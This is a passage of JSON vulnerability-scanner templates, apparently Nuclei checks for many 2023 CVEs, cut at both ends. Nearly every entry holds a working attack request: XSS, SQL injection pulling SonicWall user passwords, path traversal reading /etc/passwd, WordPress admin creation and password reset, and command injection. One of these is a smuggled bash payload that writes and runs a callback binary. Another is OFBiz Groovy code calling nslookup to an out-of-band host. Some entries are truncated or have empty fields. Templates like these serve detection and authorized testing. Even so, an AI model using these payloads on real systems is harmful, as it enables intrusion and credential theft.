Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/library/custom_template/share_template.php?list_id=1}});}}alert(document.domain);function%20x(){if(1){a=({a:{a:1"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(header, \"text/html\")","contains_all(body, \"list_id: 1}});}}alert(document.domain);\", \"select at least one Provider\", \"Save\")"],"condition":"and"}]}]},{"id":"CVE-2023-34124","info":{"name":"SonicWall GMS and Analytics Web Services - Shell Injection","severity":"critical"},"requests":[{"raw":["GET /ws/msw/tenant/%27%20union%20select%20%28select%20ID%20from%20SGMSDB.DOMAINS%20limit%201%29%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%28select%20concat%28id%2C%20%27%3A%27%2C%20password%29%20from%20sgmsdb.users%20where%20active%20%3D%20%271%27%20order%20by%20issuperadmin%20desc%20limit%201%20offset%200%29%2C%27%27%2C%20%27%27%2C%20%27 HTTP/1.1\nHost: {{Hostname}}\nAuth: {\"user\": \"system\", \"hash\": \"{{base64(hex_decode(auth))}}\"}\n","GET /appliance/login HTTP/1.1\nHost: {{Hostname}}\n","POST /appliance/applianceMainPage HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=login&skipSessionCheck=0&needPwdChange=0&clientHash={{ md5(concat(servertoken,replace_regex(alias,\"^.*:\",\"\"))) }}&password={{replace_regex(alias,\"^.*:\",\"\")}}&applianceUser={{replace_regex(alias,\":.*$\",\"\")}}&appliancePassword=Nice%20Try&ctlTimezoneOffset=0\n","POST /appliance/applianceMainPage HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnum=3232150&action=file_system&task=search&item=application_log&criteria=*&width=500&searchFolder=%2Fopt%2FGMSVP%2Fetc%2F&searchFilter=appliance.jar%3Bbash+-c+PLUS%3d\\$\\(echo\\+-e\\+begin-base64\\+755\\+a\\\\\\\\nKwee\\\\\\\\n\\%3d\\%3d\\%3d\\%3d\\+\\|\\+uudecode\\+-o-\\)\\%3becho\\+-e\\+begin-base64\\+755\\+/tmp/.{{filename}}\\\\\\\\n{{replace(base64(callback),\"+\",\"${PLUS}\")}}\\\\\\\\n\\%3d\\%3d\\%3d\\%3d\\+|+uudecode+%3b/tmp/.{{filename}}%3brm+/tmp/.{{filename}}%3becho+\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_3","words":["SonicWall Universal Management Appliance","SonicWall Universal Management Host"],"condition":"or"},{"type":"word","part":"interactsh_protocol","words":["dns"]}],"extractors":[{"type":"json","part":"body","internal":true,"name":"alias","group":1,"json":[".alias"]},{"type":"regex","part":"body","internal":true,"name":"servertoken","group":1,"regex":["getPwdHash.*,'([0-9]+)'"]}]}]},{"id":"CVE-2023-2780","info":{"name":"Mlflow <2.3.1 - Local File Inclusion Bypass","severity":"critical"},"requests":[{"raw":["POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json; charset=utf-8\n\n{\"name\":\"{{randstr}}\"}\n","POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json; charset=utf-8\n\n{\"name\":\"{{randstr}}\",\"source\":\"file://./etc\"}\n","GET /model-versions/get-artifact?path=passwd&name={{randstr}}&version={{version}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"version","group":1,"regex":["\"version\": \"([0-9.]+)\","],"internal":true,"part":"body"}]}]},{"id":"CVE-2023-39560","info":{"name":"ECTouch v2 - SQL Injection","severity":"critical"},"requests":[{"raw":["GET /index.php?m=default&c=user&a=register&u=0 HTTP/1.1\nHost: {{Hostname}}\nReferer: 554fcae493e564ee0dc75bdf2ebf94cabought_notes|a:1:{s:2:\"id\";s:49:\"0&&updatexml(1,concat(0x7e,(database()),0x7e),1)#\";}\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["XPATH syntax error: '~[^~]+~'
    "]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","part":"body","group":1,"regex":["XPATH syntax error: '~([a-z0-9]+)~'"]}]}]},{"id":"CVE-2023-27640","info":{"name":"PrestaShop tshirtecommerce - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/tshirtecommerce/fonts.php?name=2&type=./../index.php"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(header, \"text/html\")","contains_all(base64_decode(body), \"PrestaShop\", \""],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-4151","info":{"name":"Store Locator WordPress < 1.4.13 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","part":"body","words":["/wp-content/plugins/agile-store-locator"],"internal":true}]},{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin-ajax.php?action=asl_ajax_handler&asl-nounce= HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":[""]},{"type":"word","part":"content_type_2","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-1263","info":{"name":"Coming Soon & Maintenance < 4.1.7 - Unauthenticated Post/Page Access","severity":"medium"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=cmp_get_post_detail&id=1\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"img\":","\"date\":","\"title\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-28121","info":{"name":"WooCommerce Payments - Unauthorized Admin Access","severity":"critical"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nX-WCPAY-PLATFORM-CHECKOUT-USER: 1\nContent-Type: application/x-www-form-urlencoded\n\nrest_route=%2Fwp%2Fv2%2Fusers&username={{username}}&email={{email}}&password={{password}}&roles=administrator\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"registered_date\":","\"username\":","\"email\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[201]}],"extractors":[{"type":"dsl","dsl":["\"WP_USERNAME: \"+ username","\"WP_PASSWORD: \"+ password"]}]}]},{"id":"CVE-2023-27922","info":{"name":"Newsletter < 7.6.9 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=newsletter_system_status&a%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(body_2, \"text/html\")","contains(tolower(body_2), \"_newsletter_\")","contains(body_2, \">\")"],"condition":"and"}]}]},{"id":"CVE-2023-42343","info":{"name":"OpenCMS - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/opencms/cmisatom/cmis-online/type?id=1%27\">"],"headers":{"Content-Type":"application/cmisquery+xml"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Apache Chemistry OpenCMIS",""],"condition":"and"}]}]},{"id":"CVE-2023-4596","info":{"name":"WordPress Plugin Forminator 1.24.6 - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n","@timeout: 15s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryBLOYSueQAdgN2PRe\n\n------WebKitFormBoundaryBLOYSueQAdgN2PRe\nContent-Disposition: form-data; name=\"textarea-1\"\n\n{{randstr}}\n------WebKitFormBoundaryBLOYSueQAdgN2PRe\nContent-Disposition: form-data; name=\"phone-1\"\n\n{{rand_int(10)}}\n------WebKitFormBoundaryBLOYSueQAdgN2PRe\nContent-Disposition: form-data; name=\"email-1\"\n\ntest@gmail.com\n------WebKitFormBoundaryBLOYSueQAdgN2PRe\nContent-Disposition: form-data; name=\"name-1\"\n\n{{randstr}}\n------WebKitFormBoundaryBLOYSueQAdgN2PRe\nContent-Disposition: form-data; name=\"postdata-1-post-image\"; filename=\"{{randstr}}.php\"\nContent-Type: application/x-php\n\n\n------WebKitFormBoundaryBLOYSueQAdgN2PRe\nContent-Disposition: form-data; name=\"forminator_nonce\"\n\n{{forminator_nonce}}\n------WebKitFormBoundaryBLOYSueQAdgN2PRe\nContent-Disposition: form-data; name=\"form_id\"\n\n{{form_id}}\n------WebKitFormBoundaryBLOYSueQAdgN2PRe\nContent-Disposition: form-data; name=\"current_url\"\n\n{{BaseURL}}\n------WebKitFormBoundaryBLOYSueQAdgN2PRe\nContent-Disposition: form-data; name=\"action\"\n\nforminator_submit_form_custom-forms\n------WebKitFormBoundaryBLOYSueQAdgN2PRe\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_1","words":["Upload file","forminator-field-upload"],"condition":"and"},{"type":"word","part":"body_2","words":["{\"success\":true","\"form_id\":\"{{form_id}}\"","\"behav"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"forminator_nonce","part":"body","group":1,"regex":["name=\"forminator_nonce\" value=\"([a-z0-9]+)\" \\/>"],"internal":true},{"type":"regex","name":"form_id","part":"body","group":1,"regex":["name=\"form_id\" value=\"([0-9]+)\">"],"internal":true}]}]},{"id":"CVE-2023-4542","info":{"name":"D-Link DAR-8000-10 - Command Injection","severity":"critical"},"requests":[{"raw":["POST /app/sys1.php HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\n\ncmd=id\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-37580","info":{"name":"Zimbra Collaboration Suite (ZCS) v.8.8.15 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /zimbra/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nloginOp=login&username={{username}}&password={{password}}&client=mobile\n","GET /m/momoveto?st=\"> HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["","id=\"zMoveForm\""],"condition":"and"},{"type":"word","part":"header_2","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-0968","info":{"name":"WordPress Watu Quiz <3.3.9.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=watu_takings&exam_id=1&dn=\"%2Fonmouseover%3Dalert(document.domain)%2F%2F HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \"/onmouseover=alert(document.domain)//\")","contains(body_2, \"Watu Quizzes\")"],"condition":"and"}]}]},{"id":"CVE-2023-32243","info":{"name":"WordPress Elementor Lite 5.7.1 - Arbitrary Password Reset","severity":"critical"},"requests":[{"raw":["GET /wp-login.php HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-json/wp/v2/users/ HTTP/1.1\nHost: {{Hostname}}\n","GET /?rest_route=/wp/v2/users HTTP/1.1\nHost: {{Hostname}}\n","GET /feed/ HTTP/1.1\nHost: {{Hostname}}\n","GET /author-sitemap.xml HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/admin-ajax.php HTTP/2\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=login_or_register_user&eael-resetpassword-submit=true&page_id=124&widget_id=224&eael-resetpassword-nonce={{nonce}}&eael-pass1={{password}}&eael-pass2={{password}}&rp_login={{wordpress_username}}\n"],"payloads":{"password":["{{randstr}}"]},"host-redirects":true,"max-redirects":2,"stop-at-first-match":true,"matchers":[{"type":"word","part":"body_6","words":["\"success\":true","\"data\":"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","part":"body_1","group":1,"regex":["nonce\":\"([0-9a-z]+)"],"internal":true},{"type":"json","part":"body","name":"wordpress_username","group":1,"json":[".[] | .slug",".[].name"],"internal":true},{"type":"regex","part":"body_4","name":"wordpress_username","group":1,"regex":["<\\/dc:creator>"],"internal":true},{"type":"regex","part":"body_5","name":"wordpress_username","group":1,"regex":["\\/author\\/([a-z-]+)\\/"],"internal":true},{"type":"dsl","dsl":["\"WP_USERNAME: \"+ wordpress_username + \" WP_PASSWORD: \"+ password"]}]}]},{"id":"CVE-2023-41599","info":{"name":"JFinalCMS v5.0.0 - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/common/down/file?filekey=/../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-39796","info":{"name":"WBCE 1.6.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 20s\nPOST /modules/miniform/ajax_delete_message.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=delete&DB_RECORD_TABLE=miniform_data`+WHERE+1%3d1+AND+(SELECT+1+FROM+(SELECT(SLEEP(7)))a)--+&iRecordID=1&DB_COLUMN=message_id&MODULE=&purpose=delete_record\n"],"matchers":[{"type":"dsl","dsl":["duration>=7","status_code_1 == 200","contains(body, \"Record deleted successfully!\")"],"condition":"and"}]}]},{"id":"CVE-2023-2227","info":{"name":"Modoboa < 2.1.0 - Improper Authorization","severity":"critical"},"requests":[{"raw":["GET /api/v2/parameters/core/ HTTP/1.1\nHost: {{Hostname}}\nUser-Agent: 7h3h4ckv157\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["label\":","default_password\":","authentication_type\":\"local"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-45136","info":{"name":"XWiki < 14.10.14 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/bin/create/Main/%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E","{{BaseURL}}/xwiki/bin/create/Main/%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"stop-at-first-match":true,"matchers":[{"type":"dsl","dsl":["contains_all(body, \"\", \"data-xwiki-reference\")","contains(header, \"text/html\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2023-27372","info":{"name":"SPIP - Remote Command Execution","severity":"critical"},"requests":[{"raw":["GET /spip.php?page=spip_pass HTTP/1.1\nHost: {{Hostname}}\n","POST /spip.php?page=spip_pass HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\npage=spip_pass&formulaire_action=oubli&formulaire_action_args={{csrf}}&oubli=s:19:\"\";\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["PHP Extension","PHP Version","]*value='([^']*)'"],"internal":true,"part":"body_1"},{"type":"regex","group":1,"regex":[">PHP Version <\\/td>([0-9.]+)"],"part":"body_2"}]}]},{"id":"CVE-2023-22620","info":{"name":"SecurePoint UTM 12.x Session ID Leak","severity":"high"},"requests":[{"raw":["POST /spcgi.cgi HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/json; charset=UTF-8\nAccept-Encoding: gzip, deflate\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8\n\n{\"module\":\"auth\",\"command\":[\"login\"],\"sessionid\":\"\",\"arguments\":{\"user\":\"\",\"pass\":\"\"}}\n","POST /spcgi.cgi HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/json; charset=UTF-8\nAccept-Encoding: gzip, deflate\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8\n\n{\"module\":\"system\",\"command\":[\"config\",\"get\"],\"sessionid\":\"{{session}}\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["\"status\":\"OK\""]},{"type":"word","part":"header_2","words":["application/json"]}],"extractors":[{"type":"regex","name":"session","group":1,"regex":["\"sessionid\": \"([a-z0-9]+)\""],"internal":true}]}]},{"id":"CVE-2023-41109","info":{"name":"SmartNode SN200 Analog Telephone Adapter (ATA) & VoIP Gateway - Command Injection","severity":"critical"},"requests":[{"raw":["POST /rest/xxxxxxxxxxxxxxx/xxxxxxx?executeAsync HTTP/1.1\nHost: {{Hostname}}\nCookie: AuthToken=; AuthGroup=superuser; UserName=admin\n\n{\"cmd\":\"{{payload}}\",\"arguments\":[]}\n"],"matchers":[{"type":"word","part":"body","words":["dd556350275e2ee0a2e877cea9c8a74a"]}]}]},{"id":"CVE-2023-38501","info":{"name":"CopyParty v1.8.6 - Cross Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?k304=y%0D%0A%0D%0A%3Cimg+src%3Dcopyparty+onerror%3Dalert(document.domain)%3E"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(content_type, \"text/html\")","contains_all(body, \"\",\"\\\">go to\")"],"condition":"and"}]}]},{"id":"CVE-2023-36844","info":{"name":"Juniper Devices - Remote Code Execution","severity":"medium"},"requests":[{"raw":["POST /webauth_operation.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nrs=do_upload&rsargs[]=[{\"fileData\": \"data:text/html;base64,{{base64(payload)}}\", \"fileName\": \"{{rand_base(5, \"abc\")}}.php\", \"csize\": {{len(payload)}}}]\n","POST /webauth_operation.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nrs=do_upload&rsargs[]=[{\"fileName\": \"{{rand_base(5, \"abc\")}}.ini\", \"fileData\": \"data:text/html;base64,{{base64(concat('auto_prepend_file=',hex_decode('22'),'/var/tmp/',phpfile,hex_decode('22')))}}\", \"csize\": \"97\" }]\n","GET /webauth_operation.php?PHPRC=/var/tmp/{{inifile}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["\"original_fileName\":","\"converted_fileName\":"],"condition":"and"},{"type":"word","part":"body_3","words":["{{md5(string)}}"]}],"extractors":[{"type":"regex","part":"body_1","name":"phpfile","regex":["([a-f0-9]{64}\\.php)"],"internal":true},{"type":"regex","part":"body_2","name":"inifile","regex":["([a-f0-9]{64}\\.ini)"],"internal":true}]}]},{"id":"CVE-2023-5991","info":{"name":"Hotel Booking Lite < 4.8.5 - Arbitrary File Download & Deletion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/?filename=../../../../../../etc/passwd&mphb_action=download"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"word","part":"header","words":["filename=","/etc/passwd"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-4220","info":{"name":"Chamilo LMS <= 1.11.24 - Remote Code Execution","severity":"medium"},"requests":[{"raw":["POST /main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=------------------------SwxF5rRaZb4lETWlpulXn3\n\n--------------------------SwxF5rRaZb4lETWlpulXn3\nContent-Disposition: form-data; name=\"bigUploadFile\"; filename=\"{{filename}}.txt\"\nContent-Type: application/octet-stream\n\n{{md5(num)}}\n\n--------------------------SwxF5rRaZb4lETWlpulXn3--\n","GET /main/inc/lib/javascript/bigupload/files/{{filename}}.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body_2,\"{{md5(num)}}\")","status_code_1 == 200 && status_code_2 == 200"],"condition":"and"}]}]},{"id":"CVE-2023-51467","info":{"name":"Apache OFBiz < 18.12.11 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /webtools/control/ProgramExport;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ngroovyProgram=import+groovy.lang.GroovyShell%3B%0A%0AString+expression+%3D+%22'nslookup+{{interactsh-url}}'.execute()%22%3B%0AGroovyShell+gs+%3D+new+GroovyShell()%3B%0Ags.evaluate(expression)%3B\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"header","words":["OFBiz.Visitor="]}]}]},{"id":"CVE-2023-50917","info":{"name":"MajorDoMo thumb.php - OS Command Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)","rtsp_transport"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-3077","info":{"name":"MStore API < 3.9.8 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/mstore-api/readme.txt"],"matchers":[{"type":"dsl","internal":true,"dsl":["status_code == 200","contains(body, \"MStore API\")"],"condition":"and"}]},{"raw":["@timeout: 15s\nGET /wp-json/api/flutter_booking/get_staffs?product_id=%27+or+ID=sleep(6)--+- HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2023-27641","info":{"name":"L-Soft LISTSERV 16.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wa.exe?REPORT&z=4&\">a=1"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[">","LISTSERV"],"case-insensitive":true,"condition":"and"},{"type":"word","part":"content_type","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-26842","info":{"name":"ChurchCRM 4.5.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /session/begin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nUser={{username}}&Password={{password}}\n","POST /OptionManager.php?mode=classes&ListID=1 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n1name=Member&2name=Regular+Attender&3name=Guest&4name=Non-Attender&5name=Non-Attender+%28staff%29&newFieldName=\" onfocus=alert(document.domain) autofocus=\"&AddField=Add+New+Person+Classification\n"],"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"onfocus=alert(document.domain) autofocus=\")","contains(body_2, \"ChurchCRM\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2023-4111","info":{"name":"PHPJabbers Bus Reservation System 1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?controller=pjFrontEnd&action=pjActionGetLocations&locale=1&hide=0&index=4005&pickup_id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&cid=1&view=1&month=7&year=2023&start_dt=&end_dt=&locale=&index=0&session_id="],"matchers":[{"type":"dsl","dsl":["contains_all(body, \"You have an error in your SQL syntax\", \">\")","contains(content_type, \"text/html\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2023-35155","info":{"name":"XWiki - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/xwiki/bin/view/Main/?viewer=share&send=1&target=&target=%3Cimg+src+onerror%3Dalert%28document.domain%29%3E&includeDocument=inline&message={{randstr}}"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","Applications","Navigation=6","status_code == 200","contains(header, \"text/html\")","contains(body, \"Supplier Name\")"],"condition":"and"}]}]},{"id":"CVE-2023-3936","info":{"name":"Blog2Social < 7.2.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=blog2social&origin=publish_post&deletePostStatus=success&deletedPostsNumber=1 HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Deleted 1 posts"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-39109","info":{"name":"rConfig 3.9.4 - Server-Side Request Forgery","severity":"high"},"requests":[{"raw":["GET /login.php HTTP/1.1\nHost: {{Hostname}}\n","POST /lib/crud/userprocess.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nuser={{username}}&pass={{password}}&sublogin=1\n","GET /lib/crud/configcompare.crud.php?path_a=file:///etc/passwd HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_1","words":["rConfig"]},{"type":"regex","part":"body_3","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-47115","info":{"name":"Label Studio - Cross-Site Scripting","severity":"high"},"requests":[{"raw":["GET /user/login/ HTTP/1.1\nHost: {{Hostname}}\n","POST /user/signup/?&next=/projects/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ncsrfmiddlewaretoken={{csrftoken}}&email={{randstr_1}}%40{{randstr_1}}.{{randstr_1}}&password={{randstr_2}}&allow_newsletters=false\n","GET /api/current-user/whoami HTTP/1.1\nHost: {{Hostname}}\n","POST /api/users/{{id}}/avatar/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundarytZZRQ9D2LS0PMsHF\n\n------WebKitFormBoundarytZZRQ9D2LS0PMsHF\nContent-Disposition: form-data; name=\"avatar\"; filename=\"nuclei.html\"\nContent-Type: image/png\n\n{{hex_decode(\"89504E470D0A1A0A0000000D4948445200000009000000080802000000A4AF42E200000046494441543C7363726970743E616C65727428646F63756D656E742E646F6D61696E293C2F7363726970743E\")}}\n------WebKitFormBoundarytZZRQ9D2LS0PMsHF\n","GET /api/current-user/whoami HTTP/1.1\nHost: {{Hostname}}\n","GET {{filename}} HTTP/1.1\nHost: {{Hostname}}\n"],"extractors":[{"type":"xpath","name":"csrftoken","internal":true,"attribute":"value","xpath":["/html/body/div/form/input"]},{"type":"json","part":"body","name":"id","internal":true,"json":[".id"]},{"type":"json","part":"body","name":"filename","internal":true,"json":[".avatar"]}],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(header, 'text/html')","contains(body, \"\")"],"condition":"and"}]}]},{"id":"CVE-2023-2009","info":{"name":"Pretty Url <= 1.5.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog=((username))&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=prettyurls HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/admin.php?page=prettyurls HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dprettyurls&id=&category=accordions%7Epost_type&url=%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&meta_title=&meta_description=&meta_keyword=\n"],"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(body_3, \"\")","contains(body_3, \"prettyurls\")"],"condition":"and"}],"extractors":[{"type":"regex","internal":true,"name":"nonce","part":"body","group":1,"regex":["name=\"_wpnonce\" value=\"([0-9a-z]+)\" />"]}]}]},{"id":"CVE-2023-20889","info":{"name":"VMware Aria Operations for Networks - Code Injection Information Disclosure Vulnerability","severity":"high"},"requests":[{"raw":["POST /api/auth/login HTTP/2\nHost: {{Hostname}}\nContent-Type: application/json;charset=UTF-8\nX-Vrni-Csrf-Token: null\n\n{\"username\":\"{{username}}\",\"password\":\"{{password}}\",\"domain\":\"localdomain\"}\n","POST /api/pdfexport HTTP/2\nHost: {{Hostname}}\nX-Vrni-Csrf-Token: {{csrf}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFkpSYDWZ5w9YNjmh\n\n------WebKitFormBoundaryFkpSYDWZ5w9YNjmh\nContent-Disposition: form-data; name=\"{{randstr}}\"\n\n\n\n\nTest\n\n\n

